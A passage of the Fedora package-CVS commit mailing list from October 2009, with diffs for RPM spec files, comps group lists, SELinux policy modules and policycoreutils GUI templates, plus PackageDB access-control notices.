+  -DSCRIPTSDIR=share/aqsis/scripts \
   -DAQSIS_MAIN_CONFIG_NAME=aqsisrc-%{_lib} \
 %if %{?_lib} == "lib64"
   -DLIBDIR=%{_lib} \
@@ -148,9 +148,6 @@ desktop-file-install --vendor "" --delet
   --dir $RPM_BUILD_ROOT%{_datadir}/applications \
   $RPM_BUILD_ROOT%{_datadir}/applications/piqsl.desktop
 
-# Fix the scripts directory
-mv $RPM_BUILD_ROOT%{_datadir}/%{name}/script/ \
-  $RPM_BUILD_ROOT%{_datadir}/%{name}/scripts/
 
 
 %clean



From kwizart at fedoraproject.org  Mon Oct 19 19:33:51 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Mon, 19 Oct 2009 19:33:51 +0000 (UTC)
Subject: rpms/aqsis/F-12 aqsis.spec,1.16,1.17
Message-ID: <20091019193351.46D2511C00DC@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/aqsis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23608/F-12

Modified Files:
	aqsis.spec 
Log Message:
Typo + workaround isn't better than fix



Index: aqsis.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aqsis/F-12/aqsis.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- aqsis.spec	17 Oct 2009 17:52:57 -0000	1.16
+++ aqsis.spec	19 Oct 2009 19:33:51 -0000	1.17
@@ -97,7 +97,7 @@ mkdir -p build
 pushd build
 %cmake \
   -DSYSCONFDIR:STRING=%{_sysconfdir}/aqsis \
-  -DSCRIPTSDIR=share/aqsis/script \
+  -DSCRIPTSDIR=share/aqsis/scripts \
   -DAQSIS_MAIN_CONFIG_NAME=aqsisrc-%{_lib} \
 %if %{?_lib} == "lib64"
   -DLIBDIR=%{_lib} \
@@ -148,9 +148,6 @@ desktop-file-install --vendor "" --delet
   --dir $RPM_BUILD_ROOT%{_datadir}/applications \
   $RPM_BUILD_ROOT%{_datadir}/applications/piqsl.desktop
 
-# Fix the scripts directory
-mv $RPM_BUILD_ROOT%{_datadir}/%{name}/script/ \
-  $RPM_BUILD_ROOT%{_datadir}/%{name}/scripts/
 
 
 %clean



From adsllc at fedoraproject.org  Mon Oct 19 19:35:00 2009
From: adsllc at fedoraproject.org (Dave Ludlow)
Date: Mon, 19 Oct 2009 19:35:00 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.281, 1.282 comps-f11.xml.in, 1.312,
	1.313 comps-f12.xml.in, 1.159, 1.160 comps-f13.xml.in, 1.46, 1.47
Message-ID: <20091019193500.991B911C00DC@cvs1.fedora.phx.redhat.com>

Author: adsllc

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23824

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
Add drehatlas-warender-bibliothek-fonts for F-10, F-11, F-12, and F-13



Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.281
retrieving revision 1.282
diff -u -p -r1.281 -r1.282
--- comps-f10.xml.in	19 Oct 2009 19:28:26 -0000	1.281
+++ comps-f10.xml.in	19 Oct 2009 19:34:59 -0000	1.282
@@ -1460,6 +1460,7 @@
       <packagereq type="optional">darkgarden-fonts</packagereq>
       <packagereq type="optional">dejavu-lgc-fonts</packagereq>
       <packagereq type="optional">doulos-fonts</packagereq>
+      <packagereq type="optional">drehatlas-warender-bibliothek-fonts</packagereq>
       <packagereq type="optional">drehatlas-widelands-fonts</packagereq>
       <packagereq type="optional">ecolier-court-fonts</packagereq>
       <packagereq type="optional">edrip-fonts</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.312
retrieving revision 1.313
diff -u -p -r1.312 -r1.313
--- comps-f11.xml.in	19 Oct 2009 19:28:26 -0000	1.312
+++ comps-f11.xml.in	19 Oct 2009 19:34:59 -0000	1.313
@@ -1716,6 +1716,7 @@
       <packagereq type="optional">dejavu-lgc-sans-mono-fonts</packagereq>
       <packagereq type="optional">dejavu-lgc-serif-fonts</packagereq>
       <packagereq type="optional">denemo-music-fonts</packagereq>
+      <packagereq type="optional">drehatlas-warender-bibliothek-fonts</packagereq>
       <packagereq type="optional">drehatlas-widelands-fonts</packagereq>
       <packagereq type="optional">dustin-domestic-manners-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-roman-fonts</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.159
retrieving revision 1.160
diff -u -p -r1.159 -r1.160
--- comps-f12.xml.in	19 Oct 2009 19:28:26 -0000	1.159
+++ comps-f12.xml.in	19 Oct 2009 19:35:00 -0000	1.160
@@ -1881,6 +1881,7 @@
       <packagereq type="optional">dejavu-lgc-sans-mono-fonts</packagereq>
       <packagereq type="optional">dejavu-lgc-serif-fonts</packagereq>
       <packagereq type="optional">denemo-music-fonts</packagereq>
+      <packagereq type="optional">drehatlas-warender-bibliothek-fonts</packagereq>
       <packagereq type="optional">drehatlas-widelands-fonts</packagereq>
       <packagereq type="optional">dustin-domestic-manners-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-roman-fonts</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- comps-f13.xml.in	19 Oct 2009 19:28:26 -0000	1.46
+++ comps-f13.xml.in	19 Oct 2009 19:35:00 -0000	1.47
@@ -1872,6 +1872,7 @@
       <packagereq type="optional">dejavu-lgc-sans-mono-fonts</packagereq>
       <packagereq type="optional">dejavu-lgc-serif-fonts</packagereq>
       <packagereq type="optional">denemo-music-fonts</packagereq>
+      <packagereq type="optional">drehatlas-warender-bibliothek-fonts</packagereq>
       <packagereq type="optional">drehatlas-widelands-fonts</packagereq>
       <packagereq type="optional">dustin-domestic-manners-fonts</packagereq>
       <packagereq type="optional">dustin-dustismo-roman-fonts</packagereq>



From pkgdb at fedoraproject.org  Mon Oct 19 19:36:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 19:36:18 +0000
Subject: [pkgdb] dhcp had acl change status
Message-ID: <20091019193618.C539510F850@bastion2.fedora.phx.redhat.com>

dcantrel has set the approveacls acl on dhcp (Fedora devel) to Approved for jpopelka

To make changes to this package see:
  /pkgdb/packages/name/dhcp



From pkgdb at fedoraproject.org  Mon Oct 19 19:36:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 19:36:27 +0000
Subject: [pkgdb] dhcp had acl change status
Message-ID: <20091019193627.3400810F850@bastion2.fedora.phx.redhat.com>

dcantrel has set the approveacls acl on dhcp (Fedora 10) to Approved for jpopelka

To make changes to this package see:
  /pkgdb/packages/name/dhcp



From pkgdb at fedoraproject.org  Mon Oct 19 19:36:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 19:36:31 +0000
Subject: [pkgdb] dhcp had acl change status
Message-ID: <20091019193631.7F7E610F880@bastion2.fedora.phx.redhat.com>

dcantrel has set the approveacls acl on dhcp (Fedora 11) to Approved for jpopelka

To make changes to this package see:
  /pkgdb/packages/name/dhcp



From pkgdb at fedoraproject.org  Mon Oct 19 19:36:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 19:36:33 +0000
Subject: [pkgdb] dhcp had acl change status
Message-ID: <20091019193633.D978B10F892@bastion2.fedora.phx.redhat.com>

dcantrel has set the approveacls acl on dhcp (Fedora 12) to Approved for jpopelka

To make changes to this package see:
  /pkgdb/packages/name/dhcp



From pkgdb at fedoraproject.org  Mon Oct 19 19:37:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 19:37:57 +0000
Subject: [pkgdb] vim-latex: till has requested watchbugzilla
Message-ID: <20091019193757.6C7F510F87F@bastion2.fedora.phx.redhat.com>

till has requested the watchbugzilla acl on vim-latex (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Mon Oct 19 19:38:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 19:38:01 +0000
Subject: [pkgdb] vim-latex: till has requested watchcommits
Message-ID: <20091019193801.5FEC910F88F@bastion2.fedora.phx.redhat.com>

till has requested the watchcommits acl on vim-latex (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From mclasen at fedoraproject.org  Mon Oct 19 19:47:27 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 19:47:27 +0000 (UTC)
Subject: rpms/gnome-themes/F-12 .cvsignore, 1.85, 1.86 gnome-themes.spec,
	1.149, 1.150 sources, 1.90, 1.91
Message-ID: <20091019194727.47CA911C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-themes/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27313

Modified Files:
	.cvsignore gnome-themes.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/.cvsignore,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- .cvsignore	18 Oct 2009 17:54:25 -0000	1.85
+++ .cvsignore	19 Oct 2009 19:47:26 -0000	1.86
@@ -1 +1 @@
-mist-folders-xdg.tar.gz
+gnome-themes-2.28.1.tar.bz2


Index: gnome-themes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/gnome-themes.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- gnome-themes.spec	18 Oct 2009 17:54:25 -0000	1.149
+++ gnome-themes.spec	19 Oct 2009 19:47:26 -0000	1.150
@@ -1,7 +1,7 @@
 Summary: Themes for GNOME
 Name: gnome-themes
-Version: 2.28.0
-Release:2%{?dist}
+Version: 2.28.1
+Release: 1%{?dist}
 URL: http://download.gnome.org/sources/gnome-themes/
 Source: http://download.gnome.org/sources/gnome-themes/2.28/%{name}-%{version}.tar.bz2
 # Icons done by Andreas Nilsson for http://live.gnome.org/GnomeArt/ArtRequests/issue26
@@ -104,6 +104,9 @@ done
 %doc AUTHORS COPYING NEWS README
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Sun Oct 18 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
 - Add xdg folder icons to Mist
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/sources,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- sources	18 Oct 2009 17:54:25 -0000	1.90
+++ sources	19 Oct 2009 19:47:26 -0000	1.91
@@ -1,2 +1 @@
-6278dc97106caaeece4dbeac417aab14  mist-folders-xdg.tar.gz
-c89c3e08e45c4e94d76a9a7d40b74214  gnome-themes-2.28.0.tar.bz2
+0159b27d7f72c74ae9595486fc13814b  gnome-themes-2.28.1.tar.bz2



From mclasen at fedoraproject.org  Mon Oct 19 19:50:05 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 19:50:05 +0000 (UTC)
Subject: rpms/gnome-themes/F-12 sources,1.91,1.92
Message-ID: <20091019195005.5D77611C02A4@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-themes/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28173

Modified Files:
	sources 
Log Message:
fix sources



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-themes/F-12/sources,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- sources	19 Oct 2009 19:47:26 -0000	1.91
+++ sources	19 Oct 2009 19:50:04 -0000	1.92
@@ -1 +1,2 @@
 0159b27d7f72c74ae9595486fc13814b  gnome-themes-2.28.1.tar.bz2
+6278dc97106caaeece4dbeac417aab14  mist-folders-xdg.tar.gz



From dwalsh at fedoraproject.org  Mon Oct 19 19:51:42 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 19 Oct 2009 19:51:42 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-mls.conf,1.59,1.60
Message-ID: <20091019195142.26D1011C00DC@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28868

Modified Files:
	modules-mls.conf 
Log Message:
* Sat Oct 17 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-29
- Allow ccs to communicate with userdomains, and create tmpfs_t
- Add /dev/noz* as a modem_device_t and allow modemmanager to rw it.
- Add mapping for /var/run/lircd



Index: modules-mls.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-mls.conf,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- modules-mls.conf	30 Sep 2009 18:57:21 -0000	1.59
+++ modules-mls.conf	19 Oct 2009 19:51:42 -0000	1.60
@@ -1833,3 +1833,31 @@ milter = module
 # 
 wm = module
 
+# Layer: services
+# Module: aisexec
+#
+# RHCS - Red Hat Cluster Suite
+#
+aisexec = module
+ 
+# Layer: services
+# Module: rgmanager
+#
+# rgmanager
+# 
+rgmanager = module
+
+# Layer: services
+# Module: clogd
+#
+# clogd - clustered mirror log server
+# 
+clogd = module
+
+# Layer: services
+# Module: ricci
+#
+# policy for ricci
+# 
+ricci = module
+



From nim at fedoraproject.org  Mon Oct 19 19:57:41 2009
From: nim at fedoraproject.org (nim)
Date: Mon, 19 Oct 2009 19:57:41 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.47,1.48 comps-f12.xml.in,1.160,1.161
Message-ID: <20091019195741.1CD3111C00DC@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30290

Modified Files:
	comps-f13.xml.in comps-f12.xml.in 
Log Message:
sort


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- comps-f13.xml.in	19 Oct 2009 19:35:00 -0000	1.47
+++ comps-f13.xml.in	19 Oct 2009 19:57:40 -0000	1.48
@@ -4673,8 +4673,8 @@
       <packagereq type="conditional" requires="hyphen">hyphen-fa</packagereq>
       <packagereq type="conditional" requires="koffice-core">koffice-langpack-fa</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-fa</packagereq>
-      <packagereq type="optional">m17n-db-farsi</packagereq>
       <packagereq type="default">sil-scheherazade-fonts</packagereq>
+      <packagereq type="optional">m17n-db-farsi</packagereq>
     </packagelist>
   </group>
   <group>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.160
retrieving revision 1.161
diff -u -p -r1.160 -r1.161
--- comps-f12.xml.in	19 Oct 2009 19:35:00 -0000	1.160
+++ comps-f12.xml.in	19 Oct 2009 19:57:40 -0000	1.161
@@ -4699,8 +4699,8 @@
       <packagereq type="conditional" requires="hyphen">hyphen-fa</packagereq>
       <packagereq type="conditional" requires="koffice-core">koffice-langpack-fa</packagereq>
       <packagereq type="conditional" requires="moodle">moodle-fa</packagereq>
-      <packagereq type="optional">m17n-db-farsi</packagereq>
       <packagereq type="default">sil-scheherazade-fonts</packagereq>
+      <packagereq type="optional">m17n-db-farsi</packagereq>
     </packagelist>
   </group>
   <group>



From mclasen at fedoraproject.org  Mon Oct 19 20:11:53 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon, 19 Oct 2009 20:11:53 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/F-12 .cvsignore, 1.34,
	1.35 gnome-settings-daemon.spec, 1.128, 1.129 sources, 1.35, 1.36
Message-ID: <20091019201153.800FE11C00DC@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-settings-daemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2634

Modified Files:
	.cvsignore gnome-settings-daemon.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	22 Sep 2009 00:45:46 -0000	1.34
+++ .cvsignore	19 Oct 2009 20:11:52 -0000	1.35
@@ -1 +1 @@
-gnome-settings-daemon-2.28.0.tar.bz2
+gnome-settings-daemon-2.28.1.tar.bz2


Index: gnome-settings-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/gnome-settings-daemon.spec,v
retrieving revision 1.128
retrieving revision 1.129
diff -u -p -r1.128 -r1.129
--- gnome-settings-daemon.spec	1 Oct 2009 14:17:43 -0000	1.128
+++ gnome-settings-daemon.spec	19 Oct 2009 20:11:52 -0000	1.129
@@ -1,6 +1,6 @@
 Name:		gnome-settings-daemon
-Version:	2.28.0
-Release:	4%{?dist}
+Version:	2.28.1
+Release:	1%{?dist}
 Summary:	The daemon sharing settings from GNOME to GTK+/KDE applications
 
 Group:		System Environment/Daemons
@@ -35,8 +35,6 @@ BuildRequires:	libcanberra-devel
 # https://bugzilla.gnome.org/show_bug.cgi?id=596136
 Patch0: osd-rounded-rectangle.patch
 Patch1: osd-visual-refresh.patch
-# https://bugzilla.gnome.org/show_bug.cgi?id=596897
-Patch2: fix-variant-handling.patch
 
 %description
 A daemon to share settings from GNOME to other applications. It also
@@ -57,7 +55,6 @@ developing applications that use %{name}
 %setup -q
 %patch0 -p1 -b .osd-rounded-rectangle
 %patch1 -p1 -b .osd-visual-refresh
-%patch2 -p1 -b .fix-variant-handling
 
 %build
 %configure --enable-static=no --enable-profiling --disable-esd
@@ -169,6 +166,9 @@ fi
 %{_libdir}/pkgconfig/gnome-settings-daemon.pc
 
 %changelog
+* Mon Oct 19 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+
 * Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-4
 - Fix keyboard variant handling
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	22 Sep 2009 00:45:47 -0000	1.35
+++ sources	19 Oct 2009 20:11:52 -0000	1.36
@@ -1 +1 @@
-66c4e3651cb0e022b114d30ac217b095  gnome-settings-daemon-2.28.0.tar.bz2
+cadb2e161846c4df76fec45679db1f50  gnome-settings-daemon-2.28.1.tar.bz2



From dwalsh at fedoraproject.org  Mon Oct 19 20:14:49 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Mon, 19 Oct 2009 20:14:49 +0000 (UTC)
Subject: rpms/policycoreutils/F-12 policycoreutils-gui.patch, 1.96,
	1.97 policycoreutils.spec, 1.652, 1.653
Message-ID: <20091019201449.4599511C00DC@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3740

Modified Files:
	policycoreutils-gui.patch policycoreutils.spec 
Log Message:
* Mon Oct 19 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-12
- Add generation of the users context file to polgengui


policycoreutils-gui.patch:
 Makefile                     |   40 
 booleansPage.py              |  247 +++
 domainsPage.py               |  154 ++
 fcontextPage.py              |  223 ++
 html_util.py                 |  164 ++
 lockdown.glade               |  771 ++++++++++
 lockdown.gladep              |    7 
 lockdown.py                  |  382 ++++
 loginsPage.py                |  185 ++
 mappingsPage.py              |   56 
 modulesPage.py               |  190 ++
 polgen.glade                 | 3305 +++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep                |    7 
 polgen.py                    | 1195 +++++++++++++++
 polgengui.py                 |  627 ++++++++
 portsPage.py                 |  259 +++
 selinux.tbl                  |  234 +++
 semanagePage.py              |  168 ++
 statusPage.py                |  190 ++
 system-config-selinux.glade  | 3024 +++++++++++++++++++++++++++++++++++++++
 system-config-selinux.gladep |    7 
 system-config-selinux.py     |  187 ++
 templates/__init__.py        |   18 
 templates/boolean.py         |   40 
 templates/etc_rw.py          |  129 +
 templates/executable.py      |  359 ++++
 templates/network.py         |   80 +
 templates/rw.py              |  127 +
 templates/script.py          |  126 +
 templates/semodule.py        |   41 
 templates/tmp.py             |   97 +
 templates/user.py            |  182 ++
 templates/var_lib.py         |  158 ++
 templates/var_log.py         |  110 +
 templates/var_run.py         |  118 +
 templates/var_spool.py       |  129 +
 usersPage.py                 |  150 +
 37 files changed, 13486 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-gui.patch,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- policycoreutils-gui.patch	16 Oct 2009 14:47:06 -0000	1.96
+++ policycoreutils-gui.patch	19 Oct 2009 20:14:48 -0000	1.97
@@ -6414,8 +6414,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.74/gui/polgen.py
 --- nsapolicycoreutils/gui/polgen.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.py	2009-10-15 10:37:42.000000000 -0400
-@@ -0,0 +1,1188 @@
++++ policycoreutils-2.0.74/gui/polgen.py	2009-10-19 15:04:09.000000000 -0400
+@@ -0,0 +1,1195 @@
 +#!/usr/bin/python
 +#
 +# Copyright (C) 2007, 2008, 2009 Red Hat 
@@ -7339,6 +7339,13 @@ diff --exclude-from=exclude -N -u -r nsa
 +                for u in self.transition_users:
 +                    tmp =  re.sub("TEMPLATETYPE", self.name, script.admin_trans)
 +                    newsh += re.sub("USER", u, tmp)
++
++            if self.type == LUSER:
++                    newsh +=  re.sub("TEMPLATETYPE", self.name, script.min_login_user_default_context)
++            else:
++                    newsh +=  re.sub("TEMPLATETYPE", self.name, script.x_login_user_default_context)
++
++                
 +            return newsh
 +        
 +	def generate_sh(self):
@@ -12480,8 +12487,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.74/gui/templates/script.py
 --- nsapolicycoreutils/gui/templates/script.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-15 10:37:42.000000000 -0400
-@@ -0,0 +1,99 @@
++++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-19 15:03:15.000000000 -0400
+@@ -0,0 +1,126 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
 +#
@@ -12581,6 +12588,33 @@ diff --exclude-from=exclude -N -u -r nsa
 +# Adding roles to SELinux user USER
 +/usr/sbin/semanage user -m -R +TEMPLATETYPE_r USER
 +"""
++
++min_login_user_default_context="""\
++if [ ! -f /etc/selinux/targeted/contexts/users/TEMPLATETYPE_u ]; then
++cat > /etc/selinux/targeted/contexts/users/TEMPLATETYPE_u << _EOF
++TEMPLATETYPE_r:TEMPLATETYPE_t:s0	TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:crond_t		TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:initrc_su_t		TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:local_login_t	        TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:remote_login_t  	TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:sshd_t 		TEMPLATETYPE_r:TEMPLATETYPE_t
++_EOF
++fi
++"""
++
++x_login_user_default_context="""\
++if [ ! -f /etc/selinux/targeted/contexts/users/TEMPLATETYPE_u ]; then
++cat > /etc/selinux/targeted/contexts/users/TEMPLATETYPE_u << _EOF
++TEMPLATETYPE_r:TEMPLATETYPE_t	TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:crond_t		TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:initrc_su_t		TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:local_login_t	        TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:remote_login_t	        TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:sshd_t		        TEMPLATETYPE_r:TEMPLATETYPE_t
++system_r:xdm_t	 	        TEMPLATETYPE_r:TEMPLATETYPE_t
++_EOF
++fi
++"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.74/gui/templates/semodule.py
 --- nsapolicycoreutils/gui/templates/semodule.py	1969-12-31 19:00:00.000000000 -0500
 +++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-15 10:37:42.000000000 -0400


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils.spec,v
retrieving revision 1.652
retrieving revision 1.653
diff -u -p -r1.652 -r1.653
--- policycoreutils.spec	16 Oct 2009 14:47:06 -0000	1.652
+++ policycoreutils.spec	19 Oct 2009 20:14:48 -0000	1.653
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,9 @@ fi
 exit 0
 
 %changelog
+* Mon Oct 19 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-12
+- Add generation of the users context file to polgengui
+
 * Fri Oct 16 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-11
 - Remove tabs from system-config-selinux glade file
 



From rishi at fedoraproject.org  Mon Oct 19 20:30:22 2009
From: rishi at fedoraproject.org (Debarshi Ray)
Date: Mon, 19 Oct 2009 20:30:22 +0000 (UTC)
Subject: rpms/libchamplain/F-12 .cvsignore, 1.9, 1.10 libchamplain.spec, 1.12,
	1.13 sources, 1.9, 1.10
Message-ID: <20091019203022.149C711C04D1@cvs1.fedora.phx.redhat.com>

Author: rishi

Update of /cvs/pkgs/rpms/libchamplain/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7216

Modified Files:
	.cvsignore libchamplain.spec sources 
Log Message:
* Mon Oct 19 2009 Debarshi Ray <rishi at fedoraproject.org> - 0.4.1-1
- Version bump to 0.4.1.
  * Added champlain_view_remove_layer.
  * ChamplainSelectionLayer now has a "changed" signal.
  * Added champlain_marker_get_highlighted_text_color,
    champlain_marker_set_highlighted_text_color and
    Added champlain_marker_get_highlighted_color.
  * Fixed slowdowns with big caches.
  * Don't emit invalid latitude and longitude notifications.
  * Ensure map is displayed in Eye of GNOME's champlain plugin. (GNOME
    Bugzilla #598106)
  * http://download.gnome.org/sources/libchamplain/0.4/libchamplain-0.4.1.news
- Enabled GObject Introspection, and added 'Requires: gobject-introspection'
  and 'BuildRequires: gir-repository-devel'.
- Explicitly disabled debug code.
- RPaths fixed by upstream. Removed 'BuildRequires: chrpath'.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	21 Sep 2009 22:41:31 -0000	1.9
+++ .cvsignore	19 Oct 2009 20:30:21 -0000	1.10
@@ -1 +1 @@
-libchamplain-0.4.0.tar.bz2
+libchamplain-0.4.1.tar.bz2


Index: libchamplain.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libchamplain/F-12/libchamplain.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- libchamplain.spec	21 Sep 2009 22:41:31 -0000	1.12
+++ libchamplain.spec	19 Oct 2009 20:30:21 -0000	1.13
@@ -1,17 +1,22 @@
 Summary:	Map view for Clutter
 Name:		libchamplain
-Version:	0.4.0
+Version:	0.4.1
 Release:	1%{?dist}
 License:	LGPLv2+
 Group:		System Environment/Libraries
 URL:		http://projects.gnome.org/libchamplain/
-Source0:	http://ftp.gnome.org/pub/GNOME/sources/libchamplain/0.4/%{name}-%{version}.tar.bz2
+Source0:	http://download.gnome.org/sources/libchamplain/0.4/%{name}-%{version}.tar.bz2
+
+# http://bugzilla.gnome.org/598942
+Patch0:		%{name}-%{version}-gir.patch
 
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
-BuildRequires:	chrpath
+Requires:	gobject-introspection
+
 BuildRequires:	clutter-devel
 BuildRequires:	clutter-gtk-devel
+BuildRequires:	gir-repository-devel
 BuildRequires:	libsoup-devel
 BuildRequires:	sqlite-devel
 
@@ -28,6 +33,7 @@ Requires:	clutter-devel
 Requires:	pkgconfig
 %endif
 
+Requires:	gobject-introspection-devel
 Requires:	gtk-doc
 Requires:	%{name} = %{version}-%{release}
 
@@ -62,10 +68,11 @@ This package contains development files 
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
-%configure --disable-static --enable-gtk --enable-gtk-doc \
-  --enable-introspection=no --enable-silent-rules
